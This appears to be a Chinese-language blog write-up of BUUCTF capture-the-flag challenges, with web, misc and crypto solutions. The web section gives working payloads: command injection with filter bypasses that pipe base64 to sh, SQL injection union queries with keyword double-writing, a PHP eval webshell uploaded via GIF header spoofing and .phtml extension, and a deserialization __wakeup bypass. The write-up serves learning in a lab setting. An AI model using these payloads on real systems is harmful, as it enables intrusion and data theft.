BUUCTF

Web

1.[GXYCTF2019]Ping Ping Ping1

首先咱了解一下linux多命令的连接符(管道符)
在这里插入图片描述
开始做题 先扫描,直接得到index,flag,尝试连接
在这里插入图片描述
000过滤了flag
在这里插入图片描述
测 还过滤了空格
补充知识点 绕过空格过滤

linux 过滤空格绕过
${IFS}
${IFS
$IFS$1 1也可以换为其他数字
<
<>
%20
%09
{,}   //如{cat,flag}不过这题不能用

在这里插入图片描述
一番测试得到$IFSKaTeX parse error: Expected 'EOF', got '#' at position 117: …eb40bb9332b.png#̲pic_center) 1,第…a,构造payload

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

绕过flag过滤,在源码中得到
在这里插入图片描述
2,第二种
吧cat flag.php这段命令转为base64编码
Y2F0IGZsYWcucGhw
payload

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

源码中flag
在这里插入图片描述
3,第三种
内联执行的方法
所谓内联,就是将反引号内命令的输出作为输入执行
payload

?ip=127.0.0.1;cat$IFS$1`ls`

源码
在这里插入图片描述

2.[SUCTF 2019]EasySQL1

大佬对这题的详细解释,目前看不太懂先挂这
easyss
写一个比较能理解的
payload

1;set sql_mode=pipes_as_concat;select 1

pipes_as_concat 把II设置成了concat函数
就是把||换成了连接符的功能,因为分号会隔断代码,再用一个select 1得到回显
在这里插入图片描述

3.[极客大挑战 2019]Secret File1

在主页面源码中看到一个超链接 .Archive_room_php
在这里插入图片描述
在这里插入图片描述
点进secret没有什么东西,先放弃这个方向
考虑抓包 发现了secr3t.php
在这里插入图片描述
在这里插入图片描述
查看flag.php
在这里插入图片描述
啥也没有,base64也没能输出
我们回到secr3t.php 尝试对它base64输出
在这里插入图片描述
base64解码得到答案
在这里插入图片描述

4.[极客大挑战 2019]LoveSQL1

万能密码

1' or 1=1
123

连接成功
在这里插入图片描述

check.php?username=admin ' order by 1 %23&password=1
check.php?username=admin ' order by 2 %23&password=1
check.php?username=admin ' order by 3 %23&password=1

#在url中要用%23代替,在搜4时候报错,说明只有三个字段
在这里插入图片描述

/check.php?username=1' union select 1,2,3%23&password=1

看回显,,得回显位置在2,3
在这里插入图片描述
看数据库的名字和版本

check.php?username=1' union select 1,database(),version()%23&password=1

在这里插入图片描述
爆数据库的表

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

得到两个表 geekuser,l0ve1ysq1
在这里插入图片描述
一个个爆字段
在这里插入图片描述
在这里插入图片描述
看题目lovesql,直接读取l0ve1ysq1表,得到flag

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

在这里插入图片描述

-知识点补充

referer伪造

X-Forwarded-For:修改ip

5.[极客大挑战 2019]Http1

拿到题目没啥思路,先抓个包
在这里找到了可疑信息,进入网站查看
在这里插入图片描述
在这里插入图片描述
添加 referer: https://Sycsecret.buuoj.cn
在这里插入图片描述
看到要用Syclover browser(浏览器),修改User-Agent
在这里插入图片描述

在这里插入图片描述
只能本地访问
X-Forwarded-For: 127.0.0.1
得到flag
在这里插入图片描述

6.[极客大挑战 2019]Knife1

咱们之前见到过这种,是一句话木马,在上面放了知识点链接,不太理解,知道个大概
在这里插入图片描述
可以用菜刀或者蚁剑,连接
在这里插入图片描述
在根目录里寻找到flag
在这里插入图片描述

7.[极客大挑战 2019]Upload1

上传文件题目
1.构造上传一句话木马
2.考虑过滤,可以用burp修改文件使生效
3.使用蚁剑连接

先写一个木马,上传发现文件要求图片类型
在这里插入图片描述
在这里插入图片描述
修改后缀
在这里插入图片描述
呦,还不能用<?php>,
在这里插入图片描述

<script language='php'>eval([$_POST='123']);</script>

上传后发现还有一层过滤,

图片头文件欺骗

新知识 可以在txt中加上
JPG89a
PNG89a
GIF89a
进行绕过,这个题试了jpg和png,都失败了,用gif才上传成功
在这里插入图片描述
在这里插入图片描述
对上传的文件要抓包修改后缀为 .phtml才能对网站生效,让一句话木马能够使用
在这里插入图片描述
上传成功
在这里插入图片描述
咱们可以进入目录中/upload/shell.phtml,查看效果,可以得知已经上传好了
在这里插入图片描述
使用蚁剑连接网站
在这里插入图片描述
连接成功,在根目录下找到flag
在这里插入图片描述

8.[ACTF2020 新生赛]Upload1

这个题跟上面第7差不多,不作详细解释了
这个题想的比较简单,直接把上题的木马上传就用了

上传一个.jpg文件,发现没什么用
在这里插入图片描述
上传木马后,得到一个.phtml路径,应该是上传到了这里,进入查看知道上传成功,直接蚁剑连接,根目录找到flag
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

9.[极客大挑战 2019]BabySQL1

刚开始,尝试万能密码,发现or之后的不能注入,应该存在过滤
在这里插入图片描述

联合查询,发现也得绕过,尝试双写绕过

check.php?username=1' ununionion selselectect 1,2,3%23&password=1

在这里插入图片描述
爆数据库的版本和名字

check.php?username=1' ununionion selselectect 1,version(),database()%23&password=1

在这里插入图片描述
找出所有的库,发现一个ctf

?username=1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_
schema.schemata#&password=1

在这里插入图片描述
看到ctf库那就先看看他

check.php?username=1%27 ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables where table_schema='ctf'%23&password=1

有一个Flag表
在这里插入图片描述
看列,找到flag

check.php?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='ctf'%23&password=1

在这里插入图片描述

check.php?username=1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag%23&password=1

在这里插入图片描述

10.[极客大挑战 2019]PHP1

题目提示有源码,
常见的备份 /.git /.svn /.swp . /~ .bak /.bash_history
www.zip,
使用www.zip下载得到源码
在这里插入图片描述
在index.php中找到一段代码,GET传参select,,并对select反序列化

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

再看class.php,_wakeup()会把username赋值为guest,
_destruct()比较变量值,输出flag

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

我们先写一个脚本输出序列化的值,

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

在这里插入图片描述
要绕过_wakeup(),需要让说明的参数个数大于实际的参数个数,我们序列化输出的还有空白方框,也需要传入,使用%00,否则是得不到答案的

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

在这里插入图片描述
在这里插入图片描述

11.[ACTF2020 新生赛]BackupFile1

backupfile就是备份,后备文件,常见的几种备份尝试后得到,index.php.bak
在这里插入图片描述
代码为,GET传入key 判定key值,如果不是纯数字会被die,
intval获取key的整数部分,str为123开头的一串字符
"=="为弱等于,根据php转换规则,str会转为123,,那我们传入key=123即可

12.[RoarCTF 2019]Easy Calc1

输入1’时答案出现异常,说明存在过滤
在这里插入图片描述
在这里插入图片描述
查看源码时,看到一个calc.php,这里忘截图了,找了个源码图片。。
在这里插入图片描述
构造payload,查看源码时知道网站设置了waf防火墙,在num前加了空格,绕过waf

/calc.php? num=2;var_dump(scandir(chr(47)))

var_dump()用来打印
scandir()用来获取目录文件
因为过滤了 / 用ascii值 chr(47)绕过

在这里插入图片描述
找到f1lagg

/calc.php? num=2;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

用file_get_contents读取flag
分别用f1agg的ascii码值代替,得到flag
在这里插入图片描述

13.[极客大挑战 2019]BuyFlag1

查看源码,得到一段php代码,password不能是纯数字,因为最后弱等于判定,咱们把password=404a即可
在这里插入图片描述
在这里插入图片描述
post传参抓包,将cookie user=1,password=404a
在这里插入图片描述
加上money,100000000,提示过长,考虑科学计数法
在这里插入图片描述
再次发送,得到flag
在这里插入图片描述

MISC

1.二维码

之前两题做过了,gif分离,不再写wp了

解压文件得到一个二维码,扫描后没有得到有用信息
在这里插入图片描述
这里 89 50 4E 47是png开头,AE 42 60 82是png文件的结尾,,50 4B 03 04是zip的开头,14 00是解压文件所需版本,后面是通用标记09 00是加密。0000未加密
在这里插入图片描述
在右面发现还有一个4number.txt,怀疑里面还有文件,又看到.PK知道图片里包含着一个zip,找到50 4B 03 04 把前面的删去,另存文件为1.zip
在这里插入图片描述
尝试解压,发现4number.txt还有密码,知道应该是四位数字
解压打开即可得到flag
在这里插入图片描述

2.你竟然赶我走

解压出来图片,先010找flag,在最后找到答案
在这里插入图片描述

3.大白

第二行开头四个是宽的数据,接下来四个是高的数据,题目提示,咱直接修改高度就行了
修改后图片放不上来,就没放了
在这里插入图片描述

4.N种方法解决

解压得到一个.exe文件,尝试运行,失败;
拉到010里面看一下,得到关键信息
以data:image/jpg:base64开头的一串编码
猜测是base64转图片,,得到一个二维码,扫描即可得到答案
在这里插入图片描述

5.乌镇

附件给了一个图片,还是010打开,在最后找到答案
在这里插入图片描述

6.基础破解

题目提示到位,应该是压缩包里包含加密文件
下载后,Advanced Archive Password Recovery
破解压缩包得到密码
在这里插入图片描述
得到一串编码,猜测是base64,解码得到flag
在这里插入图片描述
在这里插入图片描述

7.wireshark

题目提示,账户密码即为flag
在这里插入图片描述

Crypot

MD5

在线MD5解密即可
在这里插入图片描述

一眼就解密

一眼base64
在这里插入图片描述

Url编码

在线url解密
在这里插入图片描述

看我回旋踢

看题没思路,搜索synt知道凯撒解密,去凯撒解密枚举得到答案
在这里插入图片描述

摩丝

摩斯电码解密~~
在这里插入图片描述

password

根据题目,猜测密码为zs19900315,
在这里插入图片描述

变异凯撒

在该题的wp中了解到,这题是以ascii码的加密,
afZ_对应flag,位移应该是 4+i (i是对应第几个)
a+4 = f , f+5 =l
跟着博客复现了一个c语言解决

#include<stdio.h>
#include<string.h>
int main()
{
    char arr[100];
    scanf("%s",arr);
    int j=5;
    for(int i=0;i<=21;i++)
    {
        arr[i]=arr[i]+j;
        j++;
    }
    printf("%s",arr);
    return 0;
}

Quoted-printable1

新东西,百度得知是一种编码,在线解码即可
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值